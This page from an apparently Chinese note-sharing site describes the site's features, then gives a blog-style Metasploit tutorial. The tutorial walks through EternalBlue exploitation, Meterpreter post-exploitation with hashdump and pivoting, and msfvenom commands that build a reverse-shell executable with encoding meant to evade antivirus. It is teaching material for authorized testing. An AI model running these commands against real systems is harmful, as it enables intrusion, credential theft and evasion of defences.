笔记
0工具
0此页用于记录用户反馈问题后的每一次改进
关于
“写笔记”支持四种格式——Word 文档、Excel 表格、Markdown、纯文本，起稿或二次编辑时都能随时切换，同一篇笔记想用哪种形态来记，都由你说了算。
md、txt、csv、json 这类纯文本则原样载入，不做多余加工。拿一张现成的表倒进来、改几笔、再导出去，等于白用一台免费的格式转换器。
要带走就在右上角点“下载”，可导出 PDF、Word、Markdown、Excel、TXT 等格式；列表卡片“⋯”菜单里，也有同样的下载入口。
在“工具”页点“＋ 上传工具”即可发布：填好名称与链接，再用 Markdown 把使用方法写清楚——能解决什么问题、怎么装、怎么用，比堆介绍实在。
要分发安装包就一并上传压缩包（ZIP、RAR、7Z、TAR.GZ，最大 35MB），别人在详情页一键下载；只放链接不带附件也可以。
工具按大家的收藏热度排序，好用的自然会被顶上来。发布后可在详情页或卡片菜单里编辑、下架。
写笔记时勾上“隐藏”，这篇就只存在于你自己的账号里：不进列表、不进搜索、不上首页精选，也不会出现在任何公开的页面，链接发给别人同样打不开。
适合放密码、草稿、日记这类只给自己看的内容；想公开，去“发布”打开它，把“隐藏”的勾去掉再保存，之后编辑会默认保持原状态，不会悄悄变回公开。
不想公开、只想临时给人看：点“分享”生成一条带密码和有效期的链接，到期自动失效，你也能随时撤销。
你的内容会同时保存在多个副本上，系统定期做备份与完整性校验，再配合异地容灾机制：就算某台机器出问题，数据也不会丢，可以长期放心存放；特别重要的资料，仍建议你另外再留一份备份。
全站跑在容器化、模块化的现代架构上，更新、部署、回滚都很快，扩展性和稳定性都按长期运营的标准来设计（Built for reliability, designed to scale）。
这个网站最早只是一个人的笔记仓库，后来慢慢长成现在的知识中枢。设计上很克制——没有广告、没有追踪、没有推荐算法，只是干干净净地存放一些东西；既然做好了，就公开出来，万一有人用得上呢。
不做大而全，不做平台梦，保持简单、保持克制、保持好奇。所有内容都由用户贡献、由用户维护：不会突然冒出付费墙，不会在角落塞广告位，也不会把你的数据卖给第三方。
产品会持续迭代，站内日志页记录着每一次改动，改了什么都有迹可循；想了解这个站是怎么一步步走到今天的，翻翻日志就能看到来龙去脉。
如果在这里看到涉嫌违规的内容，点对应卡片右侧的“举报”按钮就能提交，我们会尽快核实处理；也谢谢你花一点时间，一起把这里维护干净。
趋势
Metasploit
Metasploit — 渗透测试框架，集漏洞利用、载荷生成与后渗透于一体，红队必备瑞士军刀。
兄弟们，今天聊点硬核的。如果你搞安全、搞渗透、或者只是对黑客技术有点好奇，那你肯定绕不开一个名字——Metasploit。这玩意儿在安全圈的地位，基本相当于手机界的iPhone、汽车界的丰田陆巡，不是唯一选择，但绝对是大多数人入坑和实战的首选。
我第一次接触它的时候还在上大学，当时觉得这玩意儿就是个“傻瓜式黑客工具”，敲几个命令就能拿shell，太没技术含量了。后来真正深入用才发现，它的强大不在于“一键攻击”，而在于它把整个渗透测试的流程标准化、模块化了。你不需要每次遇到一个漏洞就手动写exploit，Metasploit帮你把“找漏洞、打漏洞、拿权限、留后门”这条链路全打通了。
它到底解决什么问题？
简单说，它解决的是“从0到1”的效率问题。假设你发现目标机器上有个SMB漏洞，但你手头没有现成的利用代码，你得去GitHub翻、去Exploit-DB找、还要编译、还要适配环境……这一套下来可能半天就没了。但Metasploit里，你只需要 search smb，找到对应的模块，use 一下，设置几个参数，run。完事。
它内置了上千个漏洞利用模块（Exploit）、几百个载荷（Payload） 和一大堆辅助模块（Auxiliary），比如扫描器、爆破器、抓包工具。你不需要重复造轮子，只需要知道该用哪个轮子，以及怎么把轮子装上。
另外，它还解决了后渗透的问题。拿到一个Meterpreter会话之后，你可以直接提权、抓密码、截屏、键盘记录、内网穿透……这些操作在传统方式下可能需要你上传一堆工具，但在Metasploit里都是内置命令，一个 hashdump 就搞定。
下载与安装
官网在这里：Metasploit 官方网站 ，别下错了，认准Rapid7家的。
安装方式分三种，我按推荐程度排序：
Kali Linux 自带（最省事）
如果你用Kali，那已经预装好了，直接终端敲msfconsole就能进。没有的话，sudo apt update && sudo apt install metasploit-framework。官方一键安装脚本（适合Linux/macOS）
在终端执行：curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate下载脚本后，
chmod +x msfupdate && sudo ./msfupdate。它会自动帮你装好依赖和数据库。Windows 安装包
去官网下载.exe安装包，双击下一步下一步就行。但说实话，Windows下用Metasploit体验一般，很多工具链是Linux原生的，建议用WSL2或者直接上虚拟机。
装完之后，终端输入 msfconsole，看到那个经典的ASCII艺术字Banner，就说明成功了。
基础使用教程（新手必看）
进到 msfconsole 这个交互界面后，别慌，记住这几个核心命令，你就入门了。
第一步：搜索模块
msf6 > search type:exploit ms17-010
这条命令会搜索永恒之蓝的利用模块。type:exploit 限定类型，后面是关键词。
第二步：选用模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
看到 msf6 exploit(...) > 提示符变了，说明你已经在模块上下文里了。
第三步：查看必填参数
msf6 exploit(...) > show options
这里会列出所有需要设置的选项，带 Required: yes 的是必填。比如 RHOSTS（目标IP）、LHOST（你的IP）、LPORT（你监听的端口）。
第四步：设置参数
msf6 exploit(...) > set RHOSTS 192.168.1.10
msf6 exploit(...) > set LHOST 192.168.1.100
msf6 exploit(...) > set LPORT 4444
第五步：跑起来
msf6 exploit(...) > run
如果成功，你会看到 Meterpreter session 1 opened 之类的提示，然后你就进入了一个 meterpreter > 的会话。
进入Meterpreter之后，常用命令：
sysinfo— 查看系统信息getuid— 查看当前用户权限shell— 弹出一个系统原生命令行download/upload— 传文件screenshot— 截屏
进阶技巧（老鸟经验）
基础会了，接下来才是拉开差距的地方。
1. 用 db_nmap 联动数据库
别用 nmap 扫完再手动填IP。先在msf里 db_nmap -sV 192.168.1.0/24，扫描结果会自动存入数据库。然后你直接 hosts 看主机列表，services 看端口服务，甚至 vulns 直接看匹配到的漏洞。扫完直接 search 对应漏洞模块，效率翻倍。
2. 会话后台与复用
拿到shell后，别傻乎乎地在那挂着。按 Ctrl+Z 把会话丢到后台，然后用 sessions -l 看列表，sessions -i 1 重新进入。如果你同时打了多台机器，可以 sessions -c "hashdump" 在所有会话里批量执行命令，方便横向移动。
3. 用 msfvenom 生成免杀载荷
这是很多人忽略的。msfvenom 是Metasploit的独立载荷生成器。比如你想生成一个Windows下的反弹shell：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f exe -o shell.exe
但这玩意儿直接扔给目标，杀软秒杀。进阶玩法是编码：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell_encoded.exe
-i 5 表示编码5次，能过一些老牌杀软。但这只是入门，真正免杀得配合shellcode加载器、分离免杀之类的，那是另一个话题了。
4. 内网穿透（Pivot）
这是Metasploit最骚的地方。假设你拿下了A机器（外网），但内网还有B机器（不出网）。你在A的Meterpreter会话里，执行：
meterpreter > run autoroute -s 10.10.10.0/24
然后你就相当于在A机器上搭了个代理，msf可以直连内网IP。接着 search 内网漏洞，直接打B机器。这种“跳板”操作，是红队内网渗透的核心。
5. 自定义模块
Metasploit是Ruby写的，如果你会一点Ruby，可以自己写exploit模块。把脚本丢到 ~/.msf4/modules/exploits/ 目录下，重启msf就能加载。这玩意儿的可扩展性极强，几乎你能想到的协议都有对应的辅助模块。
最后说点掏心窝的
Metasploit确实强大，但它不是“一键日站”的神器。真正的价值在于你对漏洞原理的理解和对网络协议的把控。工具只是把复杂流程简化了，但如果你不知道什么是SMB、不知道什么是反序列化漏洞，那你拿到工具也只能对着 show options 发呆。
另外，一定要在合法授权下使用。这玩意儿是双刃剑，你拿它打自己靶机、打CTF、做渗透测试项目，完全没问题。但碰未经授权的系统，那性质就变了。别让自己从“技术爱好者”变成“犯罪嫌疑人”。
好了，今天就聊到这儿。如果你刚入门，建议在本地搭个靶机（比如Metasploitable2），把这篇文章里的命令都敲一遍。等你能熟练打通一个靶机，你就会发现——这工具，真香。
有问题评论区见，看到会回。